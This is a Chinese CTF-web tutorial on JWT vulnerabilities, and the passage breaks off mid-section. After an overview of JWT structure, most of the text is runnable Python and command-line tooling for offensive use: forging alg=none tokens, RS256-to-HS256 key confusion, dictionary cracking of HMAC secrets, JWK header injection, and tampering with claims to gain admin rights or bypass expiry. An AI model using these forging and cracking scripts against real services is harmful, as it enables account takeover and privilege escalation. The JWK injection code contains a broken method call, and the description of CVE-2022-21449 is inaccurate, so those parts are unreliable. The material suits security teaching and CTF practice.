P15 JWT 漏洞

2022-03-12 CTF-WEB 詹英

梳理 JSON Web Token(JWT)的结构原理、签名算法机制、各类安全漏洞的利用技巧与绕过方法。

一、JWT 基础原理

1.1 JWT 概述

JSON Web Token(JWT) 是一种开放标准(RFC 7519),以紧凑、自包含的方式在各方之间安全地传输信息。JWT 被广泛用于:

  • 身份认证(Authentication):登录后颁发 Token,后续请求携带验证身份
  • 授权(Authorization):Token 中包含用户角色/权限信息
  • 信息交换(Information Exchange):各方之间安全地传递经过签名的信息
典型使用流程:

用户登录 → 服务端验证凭证 → 生成 JWT → 返回给客户端
                                              ↓
后续请求 → 客户端携带 JWT(Header: Authorization: Bearer <token>)
                                              ↓
服务端验证 JWT 签名 → 提取 Payload 中的用户信息 → 处理请求

1.2 JWT 三段式结构

JWT 由三部分组成,用 . 连接:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWxpY2UiLCJyb2xlIjoidXNlciJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
│─────────────────────────────────────│ │────────────────────────────────────────│ │───────────────────────────────────────────────│
              Header                                    Payload                                     Signature

结构公式:

JWT = Base64URL(Header) + "." + Base64URL(Payload) + "." + Signature

其中:
Signature = HMACSHA256(
    Base64URL(Header) + "." + Base64URL(Payload),
    secret
)

1.3 Header 详解

{
  "alg": "HS256",    // 签名算法(必须)
  "typ": "JWT"       // Token 类型(通常为 JWT)
}

常见 alg 值:

算法 类型 说明
HS256 HMAC HMAC + SHA-256,使用共享密钥
HS384 HMAC HMAC + SHA-384
HS512 HMAC HMAC + SHA-512
RS256 RSA RSA + SHA-256,私钥签名,公钥验证
RS384 RSA RSA + SHA-384
RS512 RSA RSA + SHA-512
ES256 ECDSA ECDSA + P-256 + SHA-256
ES384 ECDSA ECDSA + P-384 + SHA-384
ES512 ECDSA ECDSA + P-521 + SHA-512
PS256 RSA-PSS RSA-PSS + SHA-256
EdDSA EdDSA Ed25519 / Ed448
none 不签名(危险!

HMAC 算法(对称)

HMAC(Hash-based Message Authentication Code):
  使用同一个密钥进行签名和验证
  服务端签名 → 服务端验证 → 同一密钥

签名过程:
  Signature = HMAC-SHA256(
      Base64URL(Header) + "." + Base64URL(Payload),
      SECRET_KEY
  )

特点:
  ✅ 简单高效
  ⚠️ 密钥需保密,泄露则 JWT 可被任意伪造
  ⚠️ 不支持公开验证(第三方无法验证签名)

攻击面:
  弱密钥(可被爆破)
  密钥泄露(源码/配置文件)
  Algorithm None(绕过签名验证)
  RS256 → HS256 算法混淆

RSA 算法(非对称)

RSA(Rivest-Shamir-Adleman):
  私钥签名 → 公钥验证

密钥对:
  私钥(Private Key):只有签发方持有,用于签名
  公钥(Public Key):可以公开,用于验证

签名过程:
  Signature = RSA-SHA256(
      Base64URL(Header) + "." + Base64URL(Payload),
      PRIVATE_KEY
  )

验证过程:
  是否有效 = RSA-Verify(
      Base64URL(Header) + "." + Base64URL(Payload),
      Signature,
      PUBLIC_KEY
  )

特点:
  ✅ 公钥可以公开发布(JWKS 端点)
  ✅ 支持第三方验证
  ⚠️ 私钥泄露则可任意伪造
  ⚠️ 存在算法混淆攻击(RS256 → HS256)

常见 JWKS 端点:
  /.well-known/jwks.json
  /auth/jwks
  /oauth/jwks
  /.well-known/openid-configuration → 其中的 jwks_uri 字段

ECDSA 算法

椭圆曲线数字签名算法,与 RSA 类似(非对称)
私钥签名,公钥验证
密钥长度更短,安全性更高

⚠️ ECDSA 历史漏洞:
   若签名时随机数 k 重复使用,可以恢复私钥!
   (Sony PlayStation 3 私钥泄露事件)

CVE-2022-21449(Psychic Signatures):
   Java 15-18 的 ECDSA 验证漏洞
   传入全零签名,验证通过!
   Signature: Base64URL("") + "." + Base64URL("")
   → 任意 Payload,签名为空,验证通过

算法安全性对比

算法 密钥类型 推荐 主要风险
none ❌ 禁用 无签名,直接伪造
HS256 对称密钥 ⚠️ 弱密钥时危险 弱密钥爆破、算法混淆
HS512 对称密钥 ✅ 强密钥时安全 弱密钥爆破
RS256 RSA 密钥对 ✅ 推荐 算法混淆、JWK 注入
ES256 EC 密钥对 ✅ 推荐 随机数重用、Psychic Signatures
PS256 RSA-PSS ✅ 最推荐 JWK 注入

扩展 Header 参数(攻击关注点):

{
  "alg": "RS256",
  "typ": "JWT",
  "kid": "key-id-1",              // 密钥 ID → kid 注入攻击
  "jku": "https://example.com/jwks.json",  // JWK Set URL → jku 注入
  "jwk": { "kty": "RSA", ... },   // 内嵌 JWK → jwk 注入
  "x5u": "https://example.com/cert.pem",   // X.509 证书 URL → x5u 注入
  "x5c": ["<base64 cert>"],        // X.509 证书链 → x5c 注入
  "cty": "JWT"                     // 内容类型
}

1.4 Payload 详解

{
  // ── 注册声明(Registered Claims,标准字段)──
  "iss": "https://auth.example.com",  // 签发者(Issuer)
  "sub": "user123",                    // 主题/用户 ID(Subject)
  "aud": "api.example.com",           // 受众(Audience)
  "exp": 1735689600,                  // 过期时间(Expiration,Unix 时间戳)
  "nbf": 1704153600,                  // 不早于(Not Before)
  "iat": 1704153600,                  // 签发时间(Issued At)
  "jti": "unique-id-abc123",          // JWT ID(防重放)

  // ── 公共声明(Public Claims)──
  "name": "Alice",
  "email": "alice@example.com",

  // ── 私有声明(Private Claims,业务相关)──
  "role": "user",           // 角色 → 常见攻击目标
  "admin": false,           // 管理员标志 → 常见攻击目标
  "permissions": ["read"],  // 权限列表 → 常见攻击目标
  "user_id": 1001
}

1.5 Base64URL 编码规则

# JWT 使用 Base64URL 编码(非标准 Base64)
# 区别:+ → -,/ → _,去掉末尾 = 填充

import base64

def base64url_decode(data: str) -> bytes:
    """Base64URL 解码"""
    # 补齐填充
    padding = 4 - len(data) % 4
    if padding != 4:
        data += '=' * padding
    # 替换字符
    data = data.replace('-', '+').replace('_', '/')
    return base64.b64decode(data)

def base64url_encode(data: bytes) -> str:
    """Base64URL 编码"""
    encoded = base64.b64encode(data).decode('utf-8')
    # 替换字符并去除填充
    return encoded.replace('+', '-').replace('/', '_').rstrip('=')

# 手动解码 JWT
import json

def decode_jwt(token: str) -> dict:
    """解码 JWT(不验证签名)"""
    parts = token.split('.')
    if len(parts) != 3:
        raise ValueError("Invalid JWT format")

    header  = json.loads(base64url_decode(parts[0]))
    payload = json.loads(base64url_decode(parts[1]))
    sig_raw = base64url_decode(parts[2])

    return {
        "header":    header,
        "payload":   payload,
        "signature": sig_raw.hex()
    }

# 示例
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWxpY2UiLCJyb2xlIjoidXNlciJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
print(decode_jwt(token))

1.6 常见 JWT 库与框架

# ── Python ──
import jwt  # PyJWT

# 签名
token = jwt.encode({"user": "alice", "role": "admin"}, "secret", algorithm="HS256")

# 验证
payload = jwt.decode(token, "secret", algorithms=["HS256"])

# 不验证签名(仅解码)
payload = jwt.decode(token, options={"verify_signature": False})
// ── Node.js(jsonwebtoken)──
const jwt = require('jsonwebtoken');

// 签名
const token = jwt.sign({ user: 'alice', role: 'user' }, 'secret', { expiresIn: '1h' });

// 验证
const payload = jwt.verify(token, 'secret');

// 解码不验证
const payload = jwt.decode(token);
// ── Java(jjwt)──
import io.jsonwebtoken.*;

// 签名
String token = Jwts.builder()
    .setSubject("alice")
    .claim("role", "user")
    .signWith(SignatureAlgorithm.HS256, "secret".getBytes())
    .compact();

// 验证
Claims claims = Jwts.parser()
    .setSigningKey("secret".getBytes())
    .parseClaimsJws(token)
    .getBody();
<?php
// ── PHP(firebase/php-jwt)──
use Firebase\JWT\JWT;
use Firebase\JWT\Key;

// 签名
$token = JWT::encode(['user' => 'alice', 'role' => 'user'], 'secret', 'HS256');

// 验证
$payload = JWT::decode($token, new Key('secret', 'HS256'));

漏洞版本速查

库 / 框架 漏洞版本 CVE 漏洞类型
PyJWT < 1.5.0 CVE-2017-11424 Algorithm None
PyJWT < 2.4.0 Key confusion
python-jose < 3.3.0 CVE-2024-33663 Algorithm confusion
jsonwebtoken (Node) < 9.0.0 CVE-2022-23529 密钥注入
jsonwebtoken (Node) < 4.2.2 CVE-2015-9235 Algorithm None
java-jwt < 3.1.0 Algorithm None
jjwt < 0.10.0 Algorithm None
nimbus-jose-jwt < 7.8.1 ECDSA 漏洞
Spring Security OAuth2 CVE-2022-22976 Algorithm confusion
Auth0 jwt-go < 2.2.0 Algorithm None

二、Algorithm None 攻击

2.1 漏洞原理

JWT 规范中,alg=none 表示"不签名"的 JWT
某些库在处理 alg=none 时不进行任何签名验证!

攻击步骤:
  1. 获取一个有效的 JWT
  2. 解码 Header 和 Payload
  3. 修改 Payload(如提权:role→admin)
  4. 将 Header 中的 alg 改为 "none" / "None" / "NONE"
  5. 签名部分留空
  6. 拼接:Base64URL(header) + "." + Base64URL(payload) + "."

漏洞条件:
  服务器接受 alg=none 的 JWT
  服务器不要求必须有签名

2.2 攻击实现

#!/usr/bin/env python3
"""Algorithm None 攻击工具"""
import json
import base64
import hmac
import hashlib

def base64url_encode(data) -> str:
    if isinstance(data, str):
        data = data.encode('utf-8')
    elif isinstance(data, dict):
        data = json.dumps(data, separators=(',', ':')).encode('utf-8')
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')

def base64url_decode(s: str) -> bytes:
    s += '=' * (4 - len(s) % 4)
    return base64.urlsafe_b64decode(s)

def none_attack(original_token: str, new_payload: dict) -> list:
    """
    生成 Algorithm None 攻击的 JWT 变体
    返回多个大小写变体(绕过某些过滤)
    """
    results = []
    # alg=none 的各种大小写变体
    none_variants = ["none", "None", "NONE", "nOnE", "NoNe", "nONE"]

    for variant in none_variants:
        header = {"alg": variant, "typ": "JWT"}
        h = base64url_encode(json.dumps(header, separators=(',', ':')))
        p = base64url_encode(json.dumps(new_payload, separators=(',', ':')))
        # 签名为空
        token = f"{h}.{p}."
        results.append((variant, token))

    return results

# ══ 使用示例 ══

# 原始 Token
original = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWxpY2UiLCJyb2xlIjoidXNlciIsImV4cCI6OTk5OTk5OTk5OX0.xxx"

# 解码获取 Payload
parts = original.split('.')
payload = json.loads(base64url_decode(parts[1]))
print(f"原始 Payload: {payload}")

# 修改 Payload(提权)
payload['role'] = 'admin'
payload['admin'] = True

# 生成 None 攻击 Token
tokens = none_attack(original, payload)
for variant, token in tokens:
    print(f"\nalg={variant!r}:")
    print(f"  {token}")

# ── PyJWT 旧版本(< 1.5.0)的 none 处理 ──
# import jwt
# 旧版本中直接可以 decode
# payload = jwt.decode(forged_token, options={"verify_signature": False})

2.3 变体与绕过

# 某些实现过滤了 "none" 但没有过滤其他变体
none_variants = [
    "none",
    "None",
    "NONE",
    "nOnE",
    "NoNe",
    "nONE",
    "NonE",
    "noNE",
    # 带空格(某些解析器可能接受)
    " none",
    "none ",
    # URL 编码
    "n\x00one",  # null byte
    # 空算法字符串
    "",
]

# 某些实现不检查签名部分是否为空
# 尝试保留原始签名(某些版本不校验签名与 none 的一致性)
def none_attack_keep_sig(original_token: str, new_payload: dict) -> str:
    parts = original_token.split('.')
    original_sig = parts[2]  # 保留原始签名

    header = {"alg": "none", "typ": "JWT"}
    h = base64url_encode(json.dumps(header, separators=(',', ':')))
    p = base64url_encode(json.dumps(new_payload, separators=(',', ':')))

    # 保留原签名或为空
    variants = [
        f"{h}.{p}.",             # 空签名
        f"{h}.{p}.{original_sig}",  # 保留原签名
        f"{h}.{p}",              # 无签名部分(缺少最后的点)
    ]
    return variants

三、RS256 → HS256 算法混淆攻击

3.1 攻击原理

这是最经典的 JWT 算法混淆攻击!

正常的 RS256 流程:
  服务端使用私钥(Private Key)签名
  服务端使用公钥(Public Key)验证

攻击逻辑:
  当服务端代码类似:
  secret = get_public_key()  # 获取公钥(可公开的信息)
  jwt.decode(token, secret)  # 验证(但没有强制指定算法!)

  某些库在验证时会根据 Header 中的 alg 字段决定验证方式:
  - 若 alg=RS256 → 用 secret 作为 RSA 公钥验证
  - 若 alg=HS256 → 用 secret 作为 HMAC 密钥验证!

  攻击者将 alg 从 RS256 改为 HS256
  用服务端的 RSA 公钥(可公开获取!)作为 HMAC 密钥
  重新签名 → 服务端用公钥作为 HMAC 密钥验证 → 通过!

条件:
  ① 服务器使用 RS256 签名 JWT
  ② 服务器的 RSA 公钥可以获取(JWKS 端点 / 源码 / 证书)
  ③ 服务器在验证时没有强制指定算法(接受客户端指定的算法)

3.2 攻击步骤与脚本

#!/usr/bin/env python3
"""RS256 → HS256 算法混淆攻击"""
import json
import base64
import hmac
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend

def base64url_encode(data) -> str:
    if isinstance(data, (dict, list)):
        data = json.dumps(data, separators=(',', ':')).encode('utf-8')
    elif isinstance(data, str):
        data = data.encode('utf-8')
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')

def base64url_decode(s: str) -> bytes:
    s += '=' * (4 - len(s) % 4)
    return base64.urlsafe_b64decode(s)

def rs256_to_hs256_attack(original_token: str,
                            new_payload: dict,
                            public_key_pem: str) -> str:
    """
    RS256 → HS256 算法混淆攻击

    Args:
        original_token: 原始 RS256 JWT
        new_payload:    修改后的 Payload(如提权)
        public_key_pem: 服务端 RSA 公钥(PEM 格式)

    Returns:
        伪造的 HS256 JWT
    """
    # Step 1:构造新的 Header(alg 改为 HS256)
    new_header = {"alg": "HS256", "typ": "JWT"}

    # Step 2:编码 Header 和 Payload
    h = base64url_encode(new_header)
    p = base64url_encode(new_payload)
    message = f"{h}.{p}"

    # Step 3:将 RSA 公钥转换为字节,作为 HMAC 密钥
    # 使用 PEM 格式的公钥内容作为 HMAC 密钥
    key_bytes = public_key_pem.encode('utf-8') if isinstance(public_key_pem, str) else public_key_pem

    # Step 4:用公钥字节作为 HMAC-SHA256 密钥签名
    signature = hmac.new(
        key_bytes,
        message.encode('utf-8'),
        hashlib.sha256
    ).digest()
    sig_encoded = base64url_encode(signature)

    forged_token = f"{message}.{sig_encoded}"
    return forged_token


# ══ 使用示例 ══

# 获取公钥(多种方式)
# 1. 从 JWKS 端点获取
# 2. 从 /.well-known/jwks.json 获取
# 3. 从源码/配置文件中提取

# 示例公钥(实际使用时替换为真实公钥)
public_key_pem = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...(公钥内容)...
-----END PUBLIC KEY-----"""

# 原始 Token
original_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWxpY2UiLCJyb2xlIjoidXNlciJ9.xxx"

# 修改 Payload
parts = original_token.split('.')
payload = json.loads(base64url_decode(parts[1]))
payload['role'] = 'admin'
payload['admin'] = True

# 执行攻击
forged = rs256_to_hs256_attack(original_token, payload, public_key_pem)
print(f"伪造的 Token:\n{forged}")

3.3 获取公钥的方式

# ── 方式一:从 JWKS 端点下载 ──
curl https://target.com/.well-known/jwks.json
curl https://target.com/auth/jwks
curl https://target.com/oauth2/jwks

# JWKS 格式示例
{
  "keys": [{
    "kty": "RSA",
    "use": "sig",
    "kid": "key-1",
    "n": "0vx7agoebGcQ...",   # RSA 模数
    "e": "AQAB"               # RSA 公钥指数
  }]
}

# ── 方式二:从 JWT 本身提取(若包含 x5c)──
# Header 中的 x5c 字段包含 Base64 编码的证书
# 从证书中提取公钥

# ── 方式三:通过两个已签名的 Token 计算 ──
# 若知道两个 Token 及其内容,可以尝试恢复公钥

# ── 方式四:服务器证书 ──
# 某些服务使用 TLS 证书的公钥签名 JWT
openssl s_client -connect target.com:443 | openssl x509 -pubkey -noout
# 从 JWKS JSON 提取 PEM 格式公钥
import json
import base64
import struct
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend

def jwk_to_pem(jwk: dict) -> str:
    """将 JWK 格式的 RSA 公钥转换为 PEM 格式"""
    def decode_base64url(s):
        s += '=' * (4 - len(s) % 4)
        return int.from_bytes(base64.urlsafe_b64decode(s), 'big')

    n = decode_base64url(jwk['n'])  # RSA 模数
    e = decode_base64url(jwk['e'])  # RSA 公钥指数

    public_key = rsa.RSAPublicNumbers(e, n).public_key(default_backend())
    pem = public_key.public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo
    )
    return pem.decode('utf-8')

# 示例 JWK
jwk = {
    "kty": "RSA",
    "n": "0vx7agoebGcQSuuPiLJXZptN9nndrQmbXEps2aiAFbWhM78LhWx4cbbfAAtVT86zwu1RK7aPFFxuhDR1L6tSoc_BJECPebWKRXjBZCiFV4n3oknjhMstn64tZ_2W-5JsGY4Hc5n9yBXArwl93lqt7_RN5w6Cf0h4QyQ5v-65YGjQR0_FDW2QvzqY368QQMicAtaSqzs8KJZgnYb9c7d0zgdAZHzu6qMQvRL5hajrn1n91CbOpbISD08qNLyrdkt-bFTWhAI4vMQFh6WeZu0fM4lFd2NcRwr3XPksINHaQ-G_xBniIqbw0Ls1jF44-csFCur-kEgU8awapJzKnqDKgw",
    "e": "AQAB"
}
pem = jwk_to_pem(jwk)
print(pem)

四、弱密钥爆破攻击

4.1 爆破原理

HMAC 算法使用对称密钥,若密钥过弱(如 "secret" / "123456" 等),
可以通过字典攻击爆破出密钥,进而伪造任意 JWT。

攻击条件:
  ① 服务器使用 HS256 / HS384 / HS512 算法
  ② 密钥强度不足(短密钥 / 常见密钥 / 默认密钥)

常见弱密钥:
  secret          password        123456
  jwt_secret      admin           qwerty
  my-secret-key   supersecret     1234567890
  change-me       your-256-bit-secret
  secret123       jwt             token

4.2 爆破工具使用

# ── hashcat(最快,GPU 加速)──

# HS256 爆破(hashcat 模式 16500)
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
# 参数说明:
#   -a 0    字典攻击
#   -m 16500 JWT HS256/HS384/HS512 模式
#   jwt.txt  包含待破解 JWT 的文件(每行一个)
#   wordlist.txt 密钥字典

# 字典 + 规则
hashcat -a 0 -m 16500 jwt.txt wordlist.txt -r rules/best64.rule

# 掩码攻击(爆破特定格式密钥)
hashcat -a 3 -m 16500 jwt.txt "?l?l?l?l?l?l"  # 6位小写字母
hashcat -a 3 -m 16500 jwt.txt "?d?d?d?d?d?d"  # 6位数字

# 组合攻击
hashcat -a 1 -m 16500 jwt.txt dict1.txt dict2.txt

# ── jwt-cracker(Node.js)──
git clone https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiYWRtaW4ifQ.xxx

# ── jwt_tool(Python,功能全面)──
git clone https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py <JWT> -C -d wordlist.txt
# -C  crack mode(爆破)
# -d  字典文件

# ── john the ripper ──
# 将 JWT 转换为 john 格式后爆破
john --wordlist=wordlist.txt --format=HMAC-SHA256 jwt_hash.txt

4.3 自动爆破脚本

#!/usr/bin/env python3
"""JWT 弱密钥爆破脚本"""
import hmac
import hashlib
import base64
import json
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed

def base64url_decode(s: str) -> bytes:
    s += '=' * (4 - len(s) % 4)
    return base64.urlsafe_b64decode(s)

def verify_hs256(token: str, secret: str) -> bool:
    """验证 HS256 JWT 签名"""
    try:
        parts = token.split('.')
        if len(parts) != 3:
            return False

        message = f"{parts[0]}.{parts[1]}".encode('utf-8')
        expected_sig = base64url_decode(parts[2])

        # 计算签名
        sig = hmac.new(secret.encode('utf-8'), message, hashlib.sha256).digest()

        # 时间安全比较
        return hmac.compare_digest(sig, expected_sig)
    except Exception:
        return False

def crack_jwt(token: str, wordlist_path: str, threads: int = 50) -> str:
    """
    多线程字典爆破 JWT 密钥

    Args:
        token: 待爆破的 JWT
        wordlist_path: 字典文件路径
        threads: 线程数

    Returns:
        找到的密钥,或 None
    """
    # 验证 JWT 格式
    parts = token.split('.')
    if len(parts) != 3:
        raise ValueError("Invalid JWT")

    header = json.loads(base64url_decode(parts[0]))
    alg = header.get('alg', '').upper()

    if not alg.startswith('HS'):
        print(f"[-] 算法 {alg} 不是 HMAC,无法爆破")
        return None

    print(f"[*] 开始爆破 JWT(算法:{alg})...")
    print(f"[*] 字典:{wordlist_path}")

    found = [None]  # 使用列表存储结果(线程安全)

    def check_key(secret: str) -> str:
        if found[0]:
            return None
        if verify_hs256(token, secret):
            found[0] = secret
            return secret
        return None

    try:
        with open(wordlist_path, 'r', encoding='utf-8', errors='ignore') as f:
            secrets = [line.strip() for line in f if line.strip()]

        print(f"[*] 字典大小:{len(secrets)} 个密钥")

        with ThreadPoolExecutor(max_workers=threads) as executor:
            futures = {executor.submit(check_key, s): s for s in secrets}

            checked = 0
            for future in as_completed(futures):
                if found[0]:
                    break
                checked += 1
                if checked % 10000 == 0:
                    print(f"[*] 已检查:{checked}/{len(secrets)}")

                result = future.result()
                if result:
                    print(f"\n[+] 找到密钥:{result!r}")
                    return result

    except FileNotFoundError:
        print(f"[-] 字典文件不存在:{wordlist_path}")
        return None

    if not found[0]:
        print("[-] 未找到密钥")
    return found[0]


# ══ 内置常见弱密钥列表 ══
COMMON_WEAK_KEYS = [
    "secret", "password", "123456", "admin", "jwt", "token",
    "my-secret-key", "supersecret", "qwerty", "letmein",
    "jwt-secret", "jwt_secret", "jwtSecret", "jwtSECRET",
    "your-256-bit-secret", "your-secret", "change-me",
    "secret123", "password123", "abc123", "test",
    "development", "production", "staging", "key",
    "private", "signing-key", "app-secret", "auth-secret",
    "1234567890", "0123456789", "abcdefgh",
    "HS256", "HS384", "HS512", "RS256",
    # 常见框架默认密钥
    "SjkFoKP0HpGdBlU1UBMb6KnakBTi4Sbv",  # 某框架默认
    "secret_key_here",
    "your_jwt_secret",
    "hard_coded_secret",
]

def quick_crack(token: str) -> str:
    """快速测试常见弱密钥"""
    print("[*] 快速测试常见弱密钥...")
    for key in COMMON_WEAK_KEYS:
        if verify_hs256(token, key):
            print(f"[+] 找到弱密钥:{key!r}")
            return key
    print("[-] 常见弱密钥未命中,需要字典爆破")
    return None

# 使用
if __name__ == '__main__':
    token = input("请输入 JWT:").strip()
    result = quick_crack(token)
    if not result:
        wordlist = input("字典路径(Enter 跳过):").strip()
        if wordlist:
            crack_jwt(token, wordlist)

4.4 伪造 JWT(已知密钥)

#!/usr/bin/env python3
"""已知密钥后伪造 JWT"""
import hmac
import hashlib
import base64
import json
import time

def base64url_encode(data) -> str:
    if isinstance(data, dict):
        data = json.dumps(data, separators=(',', ':')).encode()
    elif isinstance(data, str):
        data = data.encode('utf-8')
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

def forge_hs256_jwt(payload: dict, secret: str,
                    algorithm: str = "HS256") -> str:
    """
    使用已知密钥伪造 JWT

    Args:
        payload:   Payload 字典(可包含 exp/iat 等)
        secret:    已知的 HMAC 密钥
        algorithm: 签名算法(HS256/HS384/HS512)

    Returns:
        签名后的 JWT 字符串
    """
    # 构造 Header
    header = {"alg": algorithm, "typ": "JWT"}

    # 若 Payload 不含过期时间,设置为 10 年后
    if 'exp' not in payload:
        payload['exp'] = int(time.time()) + 365 * 24 * 3600 * 10
    if 'iat' not in payload:
        payload['iat'] = int(time.time())

    # 编码
    h = base64url_encode(header)
    p = base64url_encode(payload)
    message = f"{h}.{p}"

    # 选择哈希算法
    hash_map = {
        "HS256": hashlib.sha256,
        "HS384": hashlib.sha384,
        "HS512": hashlib.sha512,
    }
    hash_func = hash_map.get(algorithm, hashlib.sha256)

    # 签名
    sig = hmac.new(
        secret.encode('utf-8'),
        message.encode('utf-8'),
        hash_func
    ).digest()

    sig_encoded = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
    return f"{message}.{sig_encoded}"

# 使用示例
payload = {
    "user": "attacker",
    "role": "admin",          # 提权
    "admin": True,
    "sub": "1",
    "iss": "auth.example.com"
}

token = forge_hs256_jwt(payload, "secret")
print(f"伪造 Token: {token}")

# 也可以使用 PyJWT 库
# import jwt
# token = jwt.encode(payload, "secret", algorithm="HS256")

五、JWK 注入攻击

5.1 漏洞原理

JWK(JSON Web Key)是 JSON 格式的密钥表示。
JWT Header 中的 jwk 参数允许嵌入公钥,
某些库会直接使用 Header 中嵌入的公钥来验证 JWT!

漏洞逻辑:
  正常:服务器用自己保存的公钥验证 Token
  漏洞:服务器用 Token Header 中攻击者提供的公钥验证 Token

  攻击者生成自己的 RSA 密钥对
  → 用私钥签名构造 JWT
  → 将对应的公钥嵌入 Header 的 jwk 字段
  → 服务器取出 Header 中的 jwk(攻击者的公钥)
  → 用攻击者的公钥验证攻击者签名的 JWT
  → 验证通过!

漏洞条件:
  服务器接受 Header 中的 jwk 字段
  服务器不验证 jwk 中的公钥是否是信任的公钥

5.2 JWK 注入实战

#!/usr/bin/env python3
"""JWK 注入攻击工具"""
import json
import base64
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.backends import default_backend

def base64url_encode(data) -> str:
    if isinstance(data, dict):
        data = json.dumps(data, separators=(',', ':')).encode()
    elif isinstance(data, str):
        data = data.encode('utf-8')
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

def int_to_base64url(n: int) -> str:
    """将大整数转换为 Base64URL 编码"""
    byte_length = (n.bit_length() + 7) // 8
    return base64.urlsafe_b64encode(
        n.to_bytes(byte_length, 'big')
    ).rstrip(b'=').decode()

def jwk_injection_attack(original_token: str, new_payload: dict) -> dict:
    """
    JWK 注入攻击

    Returns:
        包含伪造 Token 和密钥信息的字典
    """
    # Step 1:生成新的 RSA 密钥对
    print("[*] 生成 RSA 密钥对...")
    private_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    public_key = private_key.public_key()
    pub_numbers = public_key.public_key().public_numbers()

    # Step 2:构造 JWK 格式的公钥
    jwk = {
        "kty": "RSA",
        "use": "sig",
        "alg": "RS256",
        "n": int_to_base64url(pub_numbers.n),  # 模数
        "e": int_to_base64url(pub_numbers.e),  # 公钥指数
    }

    # Step 3:构造包含 jwk 的 Header
    header = {
        "alg": "RS256",
        "typ": "JWT",
        "jwk": jwk  # 注入攻击者的公钥!
    }

    # Step 4:编码 Header 和 Payload
    h = base64url_encode(header)
    p = base64url_encode(new_payload)
    message = f"{h}.{p}"

    # Step 5:用攻击者的私钥签名
    signature = private_key.sign(
        message.encode('utf-8'),
        padding.PKCS1v15(),
        hashes.SHA256()
    )
    sig_encoded = base64.urlsafe_b64encode(signature).rstrip(b'=').decode()

    forged_token = f"{message}.{sig_encoded}"

    # 输出私钥(保存备用)
    pem_private = private_key.private_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PrivateFormat.PKCS8,
        encryption_algorithm=serialization.NoEncryption()
    ).decode()

    return {
        "forged_token": forged_token,
        "private_key_pem": pem_private,
        "jwk": jwk
    }

# ══ 使用 ══
original_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWxpY2UiLCJyb2xlIjoidXNlciJ9.xxx"

# 修改 Payload
new_payload = {
    "user":  "attacker",
    "role":  "admin",
    "admin": True,
    "iat":   1704153600,
    "exp":   9999999999
}

result = jwk_injection_attack(original_token, new_payload)
print(f"\n[+] 伪造 Token:\n{result['forged_token']}")
print(f"\n[+] 注入的 JWK:\n{json.dumps(result['jwk'], indent=2)}")

六、JWT 声明伪造

6.1 常见声明篡改目标

#!/usr/bin/env python3
"""JWT 声明篡改目标速查"""

# ── 权限相关(最常见攻击目标)──
privileged_claims = {
    "role":        ["admin", "superadmin", "root", "administrator",
                    "moderator", "staff", "employee", "internal"],
    "admin":       [True, 1, "true", "1", "yes"],
    "is_admin":    [True, 1],
    "is_staff":    [True, 1],
    "permissions": ["*", "admin:*", ["admin", "write", "delete"]],
    "scope":       "admin openid profile email",
    "groups":      ["admin", "superusers"],
    "privilege":   "high",
    "level":       [9, 99, 100],
}

# ── 用户身份相关 ──
identity_claims = {
    "sub":      ["1", "admin", "0", "root"],          # 用户 ID
    "user":     "admin",
    "username": "admin",
    "user_id":  [1, 0],
    "uid":      [0, 1],
    "id":       [1, 0],
    "email":    "admin@internal.com",
}

# ── 时间相关(绕过过期)──
time_claims = {
    "exp": 9999999999,    # 永不过期
    "nbf": 0,             # 过去就可用
    "iat": 0,             # 很早签发
}

# ── 签发者/受众相关 ──
issuer_claims = {
    "iss": ["internal", "admin", "trusted-service"],
    "aud": ["admin-api", "internal-api", "management"],
}

6.2 声明篡改场景

# ── 场景一:用户 ID 越权 ──
# 原:{"sub": "1001", "user": "alice"}
# 改:{"sub": "1", "user": "admin"}    ← 访问 ID=1 的管理员

# ── 场景二:角色提权 ──
# 原:{"role": "user", "admin": false}
# 改:{"role": "admin", "admin": true}  ← 获取管理员权限

# ── 场景三:邮箱替换(OAuth 场景)──
# 原:{"email": "attacker@gmail.com"}
# 改:{"email": "admin@company.com"}     ← 以管理员邮箱登录

# ── 场景四:scope 扩展 ──
# 原:{"scope": "read"}
# 改:{"scope": "read write admin delete"}  ← 获取更多权限

# ── 场景五:tenant/org 越权(多租户)──
# 原:{"org_id": "tenant-a", "user": "alice"}
# 改:{"org_id": "tenant-b", "user": "alice"}  ← 跨租户访问

七、过期时间绕过

7.1 exp 声明绕过

# ── 场景一:直接将 exp 改为未来时间 ──
# 若能伪造 JWT(知道密钥或存在其他漏洞),直接设置超大 exp
payload['exp'] = 9999999999  # 2286年过期

# ── 场景二:删除 exp 字段 ──
# 某些库在 exp 不存在时不检查过期
del payload['exp']

# ── 场景三:服务端不验证 exp ──
